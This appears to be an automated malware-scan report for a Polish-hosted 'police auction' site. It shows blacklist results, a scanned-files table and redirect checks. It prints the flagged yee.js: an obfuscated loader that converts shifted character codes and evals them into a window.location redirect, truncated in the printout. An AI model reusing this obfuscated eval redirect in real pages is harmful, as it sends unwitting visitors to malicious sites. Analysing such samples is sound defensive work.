Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=policeauction223.htw.pl
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://policeauction223.htw.pl/
Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://policeauction223.htw.pl/ | 200 OK Content-Length: 11603 Content-Type: text/html | clean |
http://policeauction223.htw.pl/yee.js | 200 OK Content-Length: 1034 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) var str=["814", "811", "810", "810", "810", "919", "898", "915", "833", "913", "912", "919", "862", "849", "860", "814", "811", "810", "810", "810", "903", "918", "911", "900", "917", "906", "912", "911", "833", "908", "908", "901", "902", "912", "904", "921", "918", "906", "902", "841", "914", "918", "902", "915", "922", "842", "924", "814", "811", "810", "810", "810", "810", "920", "906", "911", "901", "912", "920", "847", "909", "912", "900", "898", "917", "906", "912", "911", "862", "840", " var temp=''; var gg=''; for (i=0; i<str.length; i++){ gg=str[i]-801; temp=temp+String.fromCharCode(gg); } eval(temp); Antivirus reports:
| ||
http://pagead2.googlesyndication.com/pagead/show_ads.js | 200 OK Content-Length: 20008 Content-Type: text/javascript | clean |
http://policeauction223.htw.pl/prv_site_config_values.js | 200 OK Content-Length: 30 Content-Type: application/javascript | clean |
http://policeauction223.htw.pl/prv_hosting_footer.js | 200 OK Content-Length: 9558 Content-Type: application/x-javascript | clean |
http://policeauction223.htw.pl/?page=2281 | 200 OK Content-Length: 13086 Content-Type: text/html | clean |
http://policeauction223.htw.pl/?page=2778 | 200 OK Content-Length: 11215 Content-Type: text/html | clean |
http://policeauction223.htw.pl/?page=1201 | 200 OK Content-Length: 13429 Content-Type: text/html | clean |
http://policeauction223.htw.pl/?page=1941 | 200 OK Content-Length: 12464 Content-Type: text/html | clean |
http://policeauction223.htw.pl/index151.html | 404 Not Found Content-Length: 20678 Content-Type: text/html | clean |
http://policeauction223.htw.pl/test404page.js | 404 Not Found Content-Length: 20678 Content-Type: text/html | clean |
http://policeauction223.htw.pl/?page=1639 | 200 OK Content-Length: 12380 Content-Type: text/html | clean |
http://policeauction223.htw.pl/index489.html | 404 Not Found Content-Length: 20678 Content-Type: text/html | clean |
http://policeauction223.htw.pl/?page=1046 | 200 OK Content-Length: 21559 Content-Type: text/html | clean |
http://policeauction223.htw.pl/index159.html | 404 Not Found Content-Length: 20678 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: policeauction223.htw.pl
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sun, 08 Mar 2015 03:38:09 GMT
Server: nginx
Vary: Accept-Encoding
Content-Type: text/html
GET / HTTP/1.1
Host: policeauction223.htw.pl
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sun, 08 Mar 2015 03:38:09 GMT
Server: nginx
Vary: Accept-Encoding
Content-Type: text/html
Second query (visit from search engine):
GET / HTTP/1.1
Host: policeauction223.htw.pl
Referer: http://www.google.com/search?q=policeauction223.htw.pl
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: policeauction223.htw.pl
Referer: http://www.google.com/search?q=policeauction223.htw.pl
Result:
The result is similar to the first query. There are no suspicious redirects found.